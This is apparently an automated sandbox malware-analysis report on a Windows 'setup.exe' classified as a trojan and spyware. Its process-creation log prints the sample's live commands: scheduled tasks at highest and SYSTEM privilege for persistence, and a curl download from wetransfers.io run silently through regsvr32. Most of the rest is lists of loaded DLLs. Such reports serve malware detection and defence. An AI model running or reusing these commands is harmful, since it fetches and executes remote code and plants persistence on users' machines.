Source: setup.exe, 00000000.00000003.1996568847.000000000CAFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Reflection.Metadata.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.2565051599.00000000083B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsi.dllX vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.ComponentModel.TypeConverter.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C763000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Linq.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C801000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NetworkInformation.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C80C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Primitives.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Immutable.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CB2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Claims.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CB76000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Principal.Windows.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C88B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.ObjectModel.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameShortcutFlags.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePrereq.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileOperations.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C75A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.IO.MemoryMappedFiles.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C890000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Private.CoreLib.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.2592717830.000000000551C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000CB8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C705000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.DiagnosticSource.dll@ vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMSIInstaller.dll: vs setup.exe
Source: setup.exe, 00000000.00000003.1996568847.000000000C6C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSerilog.Sinks.Http.dllF vs setup.exe
Source: setup.exe, 00000006.00000003.1932053520.000000000784C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewininet.dllD vs setup.exe
Source: setup.exe, 00000006.00000000.1918990581.00000000006A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName36.exe. vs setup.exe

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal56.troj.spyw.evad.winEXE@37/89@6/6

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00479740 FormatMessageW,GetLastError,

0_2_00479740

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00480A10 CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,CloseHandle,

0_2_00480A10

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004C7140 CoCreateInstance,

0_2_004C7140

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0031A660 LoadResource,LockResource,SizeofResource,

0_2_0031A660

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\Atomix

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Roaming\Atomix

Jump to behavior

Source: C:\Program Files\Surfclub\Surfclub.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7052:120:WilError_03

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Local\Temp\shiFAE8.tmp

Jump to behavior

Source: setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup.exe, 00000000.00000003.1750853345.00000000083ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM `Property` WHERE `Property` = 'MsiLogging'2,;
Source: setup.exe, 00000006.00000003.1926516070.0000000005476000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM `Property` WHERE ;

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding F14E2A76A442D6363321E428E36E8EED C
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="6264" CHAINERUIPROCESSID="6264Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\setup.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741190130 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\setup.exe" AI_INSTALL="1"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 33E88EEEEB332764F0F0CD6649DD4742
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C61A3434910668BD7A1090272067B3E4 E Global\MSI0000
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Main\MainSoftware.exe "C:\Program Files (x86)\Main\MainSoftware.exe" Persistent
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /run /tn "MyPersistentApp_Hourly"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Main\MainSoftware.exe "C:\Program Files (x86)\Main\MainSoftware.exe" Loop
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://datashieldsecure.com/amz/?source_id=1
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Program Files (x86)\Main\Chop\Install.exe "C:\Program Files (x86)\Main\Chop\Install.exe"
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\262810.ocx"
Source: unknown	Process created: C:\Program Files\Surfclub\Install.exe "C:\Program Files\Surfclub\Install.exe" install https://datashieldsecure.com/amz/?source_id=1
Source: C:\Program Files\Surfclub\Install.exe	Process created: C:\Program Files\Surfclub\Surfclub.exe "C:\Program Files\Surfclub\Surfclub.exe" install https://datashieldsecure.com/amz/?source_id=1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\262810.ocx"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="6264" CHAINERUIPROCESSID="6264Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\setup.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741190130 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\setup.exe" AI_INSTALL="1"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding F14E2A76A442D6363321E428E36E8EED C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 33E88EEEEB332764F0F0CD6649DD4742	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C61A3434910668BD7A1090272067B3E4 E Global\MSI0000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Main\MainSoftware.exe "C:\Program Files (x86)\Main\MainSoftware.exe" Persistent	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://datashieldsecure.com/amz/?source_id=1	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /run /tn "MyPersistentApp_Hourly"	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Program Files (x86)\Main\Chop\Install.exe "C:\Program Files (x86)\Main\Chop\Install.exe"
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "InstallTask_3ea42524-57b5-4d69-95b4-f56cc46a9b2b" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://datashieldsecure.com/amz/?source_id=1" /sc once /st 11:00:42 /ru SYSTEM /f
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\262810.ocx"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\262810.ocx"
Source: C:\Program Files\Surfclub\Install.exe	Process created: C:\Program Files\Surfclub\Surfclub.exe "C:\Program Files\Surfclub\Surfclub.exe" install https://datashieldsecure.com/amz/?source_id=1

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
